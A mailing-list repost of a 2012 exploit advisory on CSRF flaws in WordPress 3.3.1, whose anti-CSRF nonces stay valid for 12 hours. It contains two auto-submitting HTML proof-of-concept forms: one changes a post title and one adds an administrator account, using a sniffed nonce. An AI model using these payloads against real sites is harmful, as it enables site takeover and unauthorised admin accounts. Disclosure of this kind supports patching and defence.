[Owasp-natal] Wordpress 3.3.1 Multiple CSRF Vulnerabilities

Noilson Caio caiogore em gmail.com
Quinta Maio 3 19:32:21 UTC 2012

# Exploit Title     : Wordpress 3.3.1 Multiple CSRF Vulnerabilities
# Date              : 19-03-2012
# Author            : Ivano Binetti (http://www.ivanobinetti.com)
# Software link     : http://wordpress.org/wordpress-3.3.1.zip
# Vendor site       : http://wordpress.org
# Version           : 3.3.1 (and lower). Probably also version 3.3.2 is
# Tested on         : Debian Squeeze (6.0)
# CVE               : CVE-2012-1936
# Original Advisory :

1) Introduction

2) Vulnerabilities Description
 2.1 Multiple CSRF

3) Exploit
 3.1 CSRF (Change Post Title)
 3.2 CSRF (Add Admin)

1) Introduction
WordPress "is web software you can use to create a beautiful website or
blog. We like to say that WordPress is both free and priceless at
the same time."

2) Vulnerability Description
 2.1 Multiple CSRF
 Wordpress 3.3.1 suffers from multiple CSRF vulnerabilities which allow an
attacker to change post title, add
 administrators/users, delete administrators/users, approve and unapprove
comment, delete comment, change background image, insert custom
 header image, change site title, change administrator's email, change
Wordpress Address, change Site Address, when an authenticated user/admin
 browses a special crafted web page. May be other parameters can be
 This vulnerability is caused by a security flaw in anti-CSRF token
(_wpnonce, _wpnonce_create-user, _ajax_nonce,
 _wpnonce-custom-background-upload, _wpnonce-custom-header-upload)
generation. For some operations (see below) above specified anti-CSRF
tokens are
 not associated with the current user session (as Owasp recommends) but are
the are valid for all operations (for a specific administrator/user)
 within 12 hour.
 The above described vulnerability allows an attacker - who has sniffed
anti-CSRF token - to have 12 hour to perform a CSRF attack.
 For Owasp recommendation about anti-CSRF token, you can read the following

 This problem affects the following operations:
 - Add Admin/User
 - Delete Admin/User
 - Approve comment
 - Unapprove comment
 - Delete comment
 - Change background image
 - Insert custom header image
 - Change site title
 - Change administrator's email
 - Change Wordpress Address
 - Change Site Address
 Other operations (like insert a new post) are not affected by this CSRF
 In this Advisory I will only demonstrate how to change post title and how
to add a new administrator account.

3) Exploit

 3.1 CSRF (Change Post Title)
 <body onload="javascript:document.forms[0].submit()">
 <H2>CSRF Exploit to change post title</H2>
 <form method="POST" name="form0" action="http://
 <input type="hidden" name="post_title" value="hackedtitle"/>
 <input type="hidden" name="post_name" value="hackedtitle"/>
 <input type="hidden" name="mm" value="03"/>
 <input type="hidden" name="jj" value="16"/>
 <input type="hidden" name="aa" value="2012"/>
 <input type="hidden" name="hh" value=""/>
 <input type="hidden" name="mn" value=""/>
 <input type="hidden" name="ss" value=""/>
 <input type="hidden" name="post_author" value="1"/>
 <input type="hidden" name="post_password" value=""/>
 <input type="hidden" name="post_category%5B%5D" value="0"/>
 <input type="hidden" name="post_category%5B%5D" value="1"/>
 <input type="hidden" name="tax_input%5Bpost_tag%5D" value=""/>
 <input type="hidden" name="comment_status" value="open"/>
 <input type="hidden" name="ping_status" value="open"/>
 <input type="hidden" name="_status" value="publish"/>
 <input type="hidden" name="post_format" value="0"/>
 <input type="hidden" name="_inline_edit" value="7368479d84"/>
 <input type="hidden" name="post_view" value="list"/>
 <input type="hidden" name="screen" value="edit-post"/>
 <input type="hidden" name="action" value="inline-save"/>
 <input type="hidden" name="post_type" value="post"/>
 <input type="hidden" name="post_ID" value="1"/>
 <input type="hidden" name="edit_date" value="true"/>
 <input type="hidden" name="post_status" value="all"/>

 3.2 CSRF (Add Admin)
 <body onload="javascript:document.forms[0].submit()">
 <H2>CSRF Exploit to add Administrator</H2>
 <form method="POST" name="form0" action="http://
 <input type="hidden" name="action" value="createuser"/>
 <input type="hidden" name="_wpnonce_create-user" value="<sniffed_value>"/>
 <input type="hidden" name="_wp_http_referer"
 <input type="hidden" name="user_login" value="admin2"/>
 <input type="hidden" name="email" value="admin2 at admin.com"/>
 <input type="hidden" name="first_name" value="admin2 at admin.com"/>
 <input type="hidden" name="last_name" value=""/>
 <input type="hidden" name="url" value=""/>
 <input type="hidden" name="pass1" value="password"/>
 <input type="hidden" name="pass2" value="password"/>
 <input type="hidden" name="role" value="administrator"/>
 <input type="hidden" name="createuser" value="Add+New+User+"/>

Noilson Caio Teixeira de Araújo
Linux Professional Institute Certification - LPI000182893
Oracle Enterprise Linux Administrator Certified Associate - OC1110996
Novell Certified Linux Administrator (CLA) - 10111916
Novell Data Center Technical Specialist

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